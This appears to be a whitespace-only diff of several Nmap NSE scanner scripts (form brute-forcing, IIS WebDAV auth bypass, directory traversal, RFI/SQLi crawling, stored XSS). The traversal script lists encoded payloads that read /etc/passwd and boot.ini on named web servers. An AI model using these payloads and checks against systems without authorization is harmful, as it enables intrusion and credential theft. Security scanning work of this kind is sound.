return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path) return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
end end
-- try to detect onfailure match -- try to detect onfailure match
if ( onfailure and not(response.body:match(onfailure)) ) then if ( onfailure and not(response.body:match(onfailure)) ) then
return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure) return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
elseif ( not(onfailure) and elseif ( not(onfailure) and
not(onsuccess) and not(onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)") return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
end end
local engine = brute.Engine:new( Driver, host, port, { local engine = brute.Engine:new( Driver, host, port, {
uservar = uservar, passvar = passvar, uservar = uservar, passvar = passvar,
path = path, onsuccess = onsuccess, onfailure = onfailure path = path, onsuccess = onsuccess, onfailure = onfailure
} }
) )
-- there's a bug in http.lua that does not allow it to be called by -- there's a bug in http.lua that does not allow it to be called by
-- multiple threads -- multiple threads
engine:setMaxThreads(1) engine:setMaxThreads(1)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
if ( not(uservar) ) then if ( not(uservar) ) then
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
end end
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -43,170 +43,170 @@ portrule = shortport.http
---Enumeration for results ---Enumeration for results
local enum_results = local enum_results =
{ {
VULNERABLE = 1, VULNERABLE = 1,
NOT_VULNERABLE = 2, NOT_VULNERABLE = 2,
UNKNOWN = 3 UNKNOWN = 3
} }
---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response. ---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response.
local function get_response(host, port, folder) local function get_response(host, port, folder)
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>' local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
local options = { local options = {
header = { header = {
Host = host.ip, Host = host.ip,
Connection = "close", Connection = "close",
["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)", ["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
["Content-Type"] = "application/xml", ["Content-Type"] = "application/xml",
}, },
content = webdav_req content = webdav_req
} }
return http.generic_request(host, port, "PROPFIND", folder, options) return http.generic_request(host, port, "PROPFIND", folder, options)
end end
---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes. ---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
local function go_single(host, port, folder) local function go_single(host, port, folder)
local response local response
response = get_response(host, port, folder) response = get_response(host, port, folder)
if(response.status == 401) then if(response.status == 401) then
local vuln_response local vuln_response
local check_folder local check_folder
stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder) stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
-- check for IIS 6.0 and 5.1 -- check for IIS 6.0 and 5.1
-- doesn't appear to work on 5.0 -- doesn't appear to work on 5.0
-- /secret/ becomes /s%c0%afecret/ -- /secret/ becomes /s%c0%afecret/
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3) check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
vuln_response = get_response(host, port, check_folder) vuln_response = get_response(host, port, check_folder)
if(vuln_response.status == 207) then if(vuln_response.status == 207) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder) stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
return enum_results.VULNERABLE return enum_results.VULNERABLE
else else
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder) stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
return enum_results.NOT_VULNERABLE return enum_results.NOT_VULNERABLE
end end
else else
if(response['status-line'] ~= nil) then if(response['status-line'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder) stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
elseif(response['status'] ~= nil) then elseif(response['status'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder) stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
else else
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder) stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
end end
return enum_results.UNKNOWN return enum_results.UNKNOWN
end end
end end
---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders. ---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
local function go(host, port) local function go(host, port)
local status, folder local status, folder
local results = {} local results = {}
local is_vulnerable = true local is_vulnerable = true
local folder_file local folder_file
local farg = nmap.registry.args.folderdb local farg = nmap.registry.args.folderdb
folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt') folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
if(folder_file == nil) then if(folder_file == nil) then
return false, "Couldn't find http-folders.txt (should be in nselib/data)" return false, "Couldn't find http-folders.txt (should be in nselib/data)"
end end
local file = io.open(folder_file, "r") local file = io.open(folder_file, "r")
if not file then if not file then
return false, ("Couldn't find or open %s"):format(folder_file) return false, ("Couldn't find or open %s"):format(folder_file)
end end
while true do while true do
local result local result
local line = file:read() local line = file:read()
if not line then if not line then
break break
end end
if(nmap.registry.args.basefolder ~= nil) then if(nmap.registry.args.basefolder ~= nil) then
line = "/" .. nmap.registry.args.basefolder .. "/" .. line line = "/" .. nmap.registry.args.basefolder .. "/" .. line
else else
line = "/" .. line line = "/" .. line
end end
result = go_single(host, port, line) result = go_single(host, port, line)
if(result == enum_results.VULNERABLE) then if(result == enum_results.VULNERABLE) then
results[#results + 1] = line results[#results + 1] = line
elseif(result == enum_results.NOT_VULNERABLE) then elseif(result == enum_results.NOT_VULNERABLE) then
is_vulnerable = false is_vulnerable = false
else else
end end
end end
file:close() file:close()
return true, results, is_vulnerable return true, results, is_vulnerable
end end
action = function(host, port) action = function(host, port)
-- Start by checking if '/' is protected -- if it is, we can't do the tests -- Start by checking if '/' is protected -- if it is, we can't do the tests
local result = go_single(host, port, "/") local result = go_single(host, port, "/")
if(result == enum_results.NOT_VULNERABLE) then if(result == enum_results.NOT_VULNERABLE) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.") stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
end end
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...") stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
local response = get_response(host, port, "/") local response = get_response(host, port, "/")
if(response.status == 501) then if(response.status == 501) then
-- WebDAV is disabled -- WebDAV is disabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).") stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
else else
if(response.status == 207) then if(response.status == 207) then
-- PROPFIND works, WebDAV is enabled -- PROPFIND works, WebDAV is enabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).") stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
else else
-- probably not running IIS 5.0/5.1/6.0 -- probably not running IIS 5.0/5.1/6.0
if(response['status-line'] ~= nil) then if(response['status-line'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line']) stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
elseif(response['status'] ~= nil) then elseif(response['status'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status']) stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
else else
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.") stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
end end
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
end end
end end
if(nmap.registry.args.webdavfolder ~= nil) then if(nmap.registry.args.webdavfolder ~= nil) then
local folder = nmap.registry.args.webdavfolder local folder = nmap.registry.args.webdavfolder
local result = go_single(host, port, "/" .. folder) local result = go_single(host, port, "/" .. folder)
if(result == enum_results.VULNERABLE) then if(result == enum_results.VULNERABLE) then
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder) return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
elseif(result == enum_results.NOT_VULNERABLE) then elseif(result == enum_results.NOT_VULNERABLE) then
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
else else
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
end end
else else
local status, results, is_vulnerable = go(host, port) local status, results, is_vulnerable = go(host, port)
if(status == false) then if(status == false) then
return nmap.verbosity() > 0 and "ERROR: " .. results or nil return nmap.verbosity() > 0 and "ERROR: " .. results or nil
else else
if(#results == 0) then if(#results == 0) then
if(is_vulnerable == false) then if(is_vulnerable == false) then
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
else else
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
end end
else else
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results) return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
end end
end end
end end
end end

View File

@@ -72,19 +72,19 @@ categories = {"intrusive", "vuln"}
--@param response The HTTP response from the server. --@param response The HTTP response from the server.
--@return The body of the HTTP response. --@return The body of the HTTP response.
local validate = function(response) local validate = function(response)
if not response.status then if not response.status then
return nil return nil
end end
if response.status ~= 200 then if response.status ~= 200 then
return nil return nil
end end
if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
return response.body return response.body
end end
return nil return nil
end end
--- Transforms a string with ".", "/" and "\" converted to their URL-formatted --- Transforms a string with ".", "/" and "\" converted to their URL-formatted
@@ -92,19 +92,19 @@ end
--@param str String to hexify. --@param str String to hexify.
--@return Transformed string. --@return Transformed string.
local hexify = function(str) local hexify = function(str)
local ret local ret
ret = str:gsub("%.", "%%2E") ret = str:gsub("%.", "%%2E")
ret = ret:gsub("/", "%%2F") ret = ret:gsub("/", "%%2F")
ret = ret:gsub("\\", "%%5C") ret = ret:gsub("\\", "%%5C")
return ret return ret
end end
--- Truncates the <code>passwd</code> or <code>boot.ini</code> file. --- Truncates the <code>passwd</code> or <code>boot.ini</code> file.
--@param passwd <code>passwd</code> or <code>boot.ini</code>file. --@param passwd <code>passwd</code> or <code>boot.ini</code>file.
--@return Truncated passwd file and truncated length. --@return Truncated passwd file and truncated length.
local truncatePasswd = function(passwd) local truncatePasswd = function(passwd)
local len = 250 local len = 250
return passwd:sub(1, len), len return passwd:sub(1, len), len
end end
--- Formats output. --- Formats output.
@@ -112,83 +112,83 @@ end
--@param dir Formatted request which elicited the good reponse. --@param dir Formatted request which elicited the good reponse.
--@return String description for output --@return String description for output
local output = function(passwd, dir) local output = function(passwd, dir)
local trunc, len = truncatePasswd(passwd) local trunc, len = truncatePasswd(passwd)
local out = "" local out = ""
out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n" out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
out = out .. "Printing first " .. len .. " bytes:\n" out = out .. "Printing first " .. len .. " bytes:\n"
out = out .. trunc out = out .. trunc
return out return out
end end
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local dirs = { local dirs = {
hexify("//etc/passwd"), hexify("//etc/passwd"),
hexify(string.rep("../", 10) .. "etc/passwd"), hexify(string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("../", 10) .. "boot.ini"), hexify(string.rep("../", 10) .. "boot.ini"),
hexify(string.rep("..\\", 10) .. "boot.ini"), hexify(string.rep("..\\", 10) .. "boot.ini"),
hexify("." .. string.rep("../", 10) .. "etc/passwd"), hexify("." .. string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("..\\/", 10) .. "etc\\/passwd"), hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
hexify(string.rep("..\\", 10) .. "etc\\passwd"), hexify(string.rep("..\\", 10) .. "etc\\passwd"),
-- These don't get hexified because they are targeted at -- These don't get hexified because they are targeted at
-- specific known vulnerabilities. -- specific known vulnerabilities.
'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini', '..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--miniwebsvr --miniwebsvr
'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini', '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini', '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
--Acritum Femitter Server --Acritum Femitter Server
'\\\\..%2f..%2f..%2f..%2fboot.ini% ../', '\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
--zervit Web Server and several others --zervit Web Server and several others
'index.html?../../../../../boot.ini', 'index.html?../../../../../boot.ini',
'index.html?..\\..\\..\\..\\..\\boot.ini', 'index.html?..\\..\\..\\..\\..\\boot.ini',
--Mongoose Web Server --Mongoose Web Server
'///..%2f..%2f..%2f..%2fboot.ini', '///..%2f..%2f..%2f..%2fboot.ini',
'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini', '/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
'/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini', '/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
-- Yaws 1.89 -- Yaws 1.89
'/..\\/..\\/..\\/boot.ini', '/..\\/..\\/..\\/boot.ini',
'/..\\/\\..\\/\\..\\/\\boot.ini', '/..\\/\\..\\/\\..\\/\\boot.ini',
'/\\../\\../\\../boot.ini', '/\\../\\../\\../boot.ini',
'////..\\..\\..\\boot.ini', '////..\\..\\..\\boot.ini',
--MultiThreaded HTTP Server v1.1 --MultiThreaded HTTP Server v1.1
'/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini', '/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--uHttp Server --uHttp Server
'/../../../../../../../etc/passwd', '/../../../../../../../etc/passwd',
--Java Mini Web Server --Java Mini Web Server
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini', '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd', '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
} }
for _, dir in ipairs(dirs) do for _, dir in ipairs(dirs) do
local response = http.get(host, port, dir) local response = http.get(host, port, dir)
if validate(response) then if validate(response) then
return output(response.body, dir) return output(response.body, dir)
end end
end end
local root = stdnse.get_script_args("http-passwd.root") or "/" local root = stdnse.get_script_args("http-passwd.root") or "/"
-- Check for something that looks like a query referring to a file name, like -- Check for something that looks like a query referring to a file name, like
-- "index.php?page=next.php". Replace the query value with each of the test -- "index.php?page=next.php". Replace the query value with each of the test
-- vectors. Add an encoded null byte at the end to bypass some checks; see -- vectors. Add an encoded null byte at the end to bypass some checks; see
-- http://insecure.org/news/P55-01.txt. -- http://insecure.org/news/P55-01.txt.
local response = http.get(host, port, root) local response = http.get(host, port, root)
if response.body then if response.body then
local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a") local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
if page_var then if page_var then
local query_base = root .. "?" .. page_var .. "=" local query_base = root .. "?" .. page_var .. "="
stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...") stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
for _, dir in ipairs(dirs) do for _, dir in ipairs(dirs) do
local response = http.get(host, port, query_base .. dir .. "%00") local response = http.get(host, port, query_base .. dir .. "%00")
if validate(response) then if validate(response) then
return output(response.body, dir) return output(response.body, dir)
end end
end end
end end
end end
end end

View File

@@ -173,27 +173,27 @@ function action(host, port)
check_response = function(body) return string.find(body, pattern_to_search) end check_response = function(body) return string.find(body, pattern_to_search) end
-- create a new crawler instance -- create a new crawler instance
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} ) local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
if ( not(crawler) ) then if ( not(crawler) ) then
return return
end end
local return_table = {} local return_table = {}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break break
end end
end end
-- first we try rfi on forms -- first we try rfi on forms
if r.response and r.response.body and r.response.status==200 then if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body) local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain) local form = http.parse_form(form_plain)
@@ -206,7 +206,7 @@ function action(host, port)
end end
end end
end --for end --for
end --if end --if
-- now try inclusion by parameters -- now try inclusion by parameters
local injectable = {} local injectable = {}
@@ -232,7 +232,7 @@ function action(host, port)
end end
end end
end end
end end
return stdnse.format_output(true, return_table) return stdnse.format_output(true, return_table)
end end

View File

@@ -108,8 +108,8 @@ local function build_injection_vector(urls)
urlstr = url.build(utab) urlstr = url.build(utab)
table.insert(all, urlstr) table.insert(all, urlstr)
qtab[k] = old_qtab qtab[k] = old_qtab
utab.query = url.build_query(qtab) utab.query = url.build_query(qtab)
end end
end end
end end
@@ -242,7 +242,7 @@ action = function(host, port)
end end
-- first we try sqli on forms -- first we try sqli on forms
if r.response and r.response.body and r.response.status==200 then if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body) local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain) local form = http.parse_form(form_plain)
@@ -255,7 +255,7 @@ action = function(host, port)
end end
end end
end --for end --for
end --if end --if
local links = {} local links = {}
if r.response.status and r.response.body then if r.response.status and r.response.body then
links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks() links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()

View File

@@ -76,207 +76,207 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- Note, that more payloads will slow down your scan. -- Note, that more payloads will slow down your scan.
payloads = { payloads = {
-- Basic vectors. Each one is an indication of potential XSS vulnerability. -- Basic vectors. Each one is an indication of potential XSS vulnerability.
{ vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." }, { vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
{ vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." }, { vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
{ vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." }, { vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
} }
-- Create customized requests for all of our payloads. -- Create customized requests for all of our payloads.
local makeRequests = function(host, port, submission, fields, fieldvalues) local makeRequests = function(host, port, submission, fields, fieldvalues)
local postdata = {} local postdata = {}
for _, p in ipairs(payloads) do for _, p in ipairs(payloads) do
for __, field in ipairs(fields) do for __, field in ipairs(fields) do
if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
local value = fieldvalues[field["name"]] local value = fieldvalues[field["name"]]
if value == nil then if value == nil then
value = p.vector value = p.vector
end
postdata[field["name"]] = value
end
end end
postdata[field["name"]] = value
end
end
stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ") stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ")
for i, content in pairs(postdata) do for i, content in pairs(postdata) do
stdnse.print_debug(2, i .. ": " .. content) stdnse.print_debug(2, i .. ": " .. content)
end end
local response = http.post(host, port, submission, { no_cache = true }, nil, postdata) local response = http.post(host, port, submission, { no_cache = true }, nil, postdata)
end end
end end
local checkPayload = function(body, p) local checkPayload = function(body, p)
if (body:match(p)) then if (body:match(p)) then
return true return true
end end
end end
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array. -- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local checkRequests = function(body, target) local checkRequests = function(body, target)
local output = {} local output = {}
for _, p in ipairs(payloads) do for _, p in ipairs(payloads) do
if checkPayload(body, p.vector) then if checkPayload(body, p.vector) then
local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
if p.description then if p.description then
report = report .. "\n\t Description: " .. p.description report = report .. "\n\t Description: " .. p.description
end end
table.insert(output, report) table.insert(output, report)
end
end end
return output end
return output
end end
local readFromFile = function(filename) local readFromFile = function(filename)
local database = { } local database = { }
for l in io.lines(filename) do for l in io.lines(filename) do
table.insert(payloads, { vector = l }) table.insert(payloads, { vector = l })
end end
end end
action = function(host, port) action = function(host, port)
local formpaths = stdnse.get_script_args("http-stored-xss.formpaths") local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths") local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {} local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
local dbfile = stdnse.get_script_args("http-stored-xss.dbfile") local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
if dbfile then if dbfile then
readFromFile(dbfile) readFromFile(dbfile)
end end
local returntable = {} local returntable = {}
local result local result
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } ) local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
if (not(crawler)) then if (not(crawler)) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
local index, k, target, response local index, k, target, response
-- Phase 1. Crawls through the website and POSTs malicious payloads. -- Phase 1. Crawls through the website and POSTs malicious payloads.
while (true) do while (true) do
if formpaths then if formpaths then
k, target = next(formpaths, index) k, target = next(formpaths, index)
if (k == nil) then if (k == nil) then
break break
end end
response = http.get(host, port, target, { no_cache = true }) response = http.get(host, port, target, { no_cache = true })
target = host.name .. target target = host.name .. target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
makeRequests(host, port, submission, form["fields"], fieldvalues)
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
local index
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
while true do
if uploadspaths then
k, target = next(uploadspaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
result = checkRequests(response.body, target)
if next(result) then
table.insert(returntable, result)
end
end
if (index) then
index = index + 1
else
index = 1
end
end
if next(returntable) then
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
return returntable
else else
return "Couldn't find any stored XSS vulnerabilities."
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
makeRequests(host, port, submission, form["fields"], fieldvalues)
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
local index
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
while true do
if uploadspaths then
k, target = next(uploadspaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
result = checkRequests(response.body, target)
if next(result) then
table.insert(returntable, result)
end
end
if (index) then
index = index + 1
else
index = 1
end
end
if next(returntable) then
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
return returntable
else
return "Couldn't find any stored XSS vulnerabilities."
end
end end

View File

@@ -102,154 +102,154 @@ local arg_checksum = stdnse.get_script_args(SCRIPT_NAME .. ".checksum")
prerule = function() return true end prerule = function() return true end
local function readFile(filename) local function readFile(filename)
local f = io.open(filename, "r") local f = io.open(filename, "r")
if ( not(f) ) then if ( not(f) ) then
return false, ("Failed to open file: %s"):format(filename) return false, ("Failed to open file: %s"):format(filename)
end end
local str = f:read("*all") local str = f:read("*all")
if ( not(str) ) then if ( not(str) ) then
f:close() f:close()
return false, "Failed to read file contents" return false, "Failed to read file contents"
end end
f:close() f:close()
return true, str return true, str
end end
local function requestFileScan(filename) local function requestFileScan(filename)
